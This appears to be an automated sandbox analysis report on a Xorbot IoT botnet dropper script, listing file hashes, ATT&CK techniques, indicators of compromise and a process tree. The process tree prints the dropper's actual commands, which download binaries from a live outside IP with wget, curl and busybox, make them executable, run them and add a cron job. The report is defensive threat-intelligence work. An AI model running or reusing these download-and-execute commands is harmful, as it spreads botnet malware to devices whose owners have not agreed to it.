xorbot | c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05-01-2025 04:17

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General

Target

bins.sh
Size

10KB
MD5

e82d6bb75d49d8b5732ffbd8b2d4b88c
SHA1

2ed4e0b594b0dc301bd2b14b2df00e8c0c0f1675
SHA256

c72772c053710f5d8e33f7c82811e588b2a2b25e5b9a56bfbc20c8255ba954c9
SHA512

32cba099b69d3bc28f8eff2ba6152c2d205dc0dce7b1897e1d91a43ae6676cc9580b21aa6448ef5fc474b5a50e27300f4de5ca27fd34668f41f4ddbfbf1f5d3a
SSDEEP

96:typkYWMKrbw4gpF832npkQYYg149K3bw4gpFK6lGcGB:CkYWMabw4gpF83uvew4gpFw

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2032) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
737	chmod
748	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	738	ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	749	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Renames itself 1 IoCs

pid	Process
750	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.XxHDhg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/121/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/948/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1007/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/977/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/36/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/773/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/862/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/937/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/844/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/931/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1053/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/186/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/674/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/788/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/793/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1010/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1025/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1027/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1044/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/804/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/921/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/944/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/377/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/764/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/796/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/839/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/871/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/874/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/7/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/23/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/353/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/792/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/897/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/985/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1031/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1052/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/889/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1013/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/703/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/794/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/972/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/11/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/698/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/902/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/938/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/3/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/808/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1028/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1049/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1046/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/172/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/348/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/710/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/858/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/878/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/891/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/952/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1022/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/12/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/766/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/830/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	curl
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	busybox
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	wget
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	curl
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	busybox
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  PID:740
- /usr/bin/wget
  wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:749
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:752
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:753
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:755
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:756
- /bin/rm
  rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  PID:766
- /usr/bin/wget
  wget http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  PID:773

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.XxHDhg

Filesize
210B

MD5
8b1cea43de7bfde5b52dc8bbd11d3104

SHA1
559c97f41c434205f0b8509927960a0eb7cb84b8

SHA256
1fa98db09f0061f15dfa5c048905d22de722dbe1cbeae94bca42be5671c51a44

SHA512
bb45fe1a0059ac721f0863ab2cec091af9f1bbda1fa03336c5d852b90cf9c505dd6b795d3f52e49a70fd34046d805b73802e7fa4d6d38f01676b5d11ed244409

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads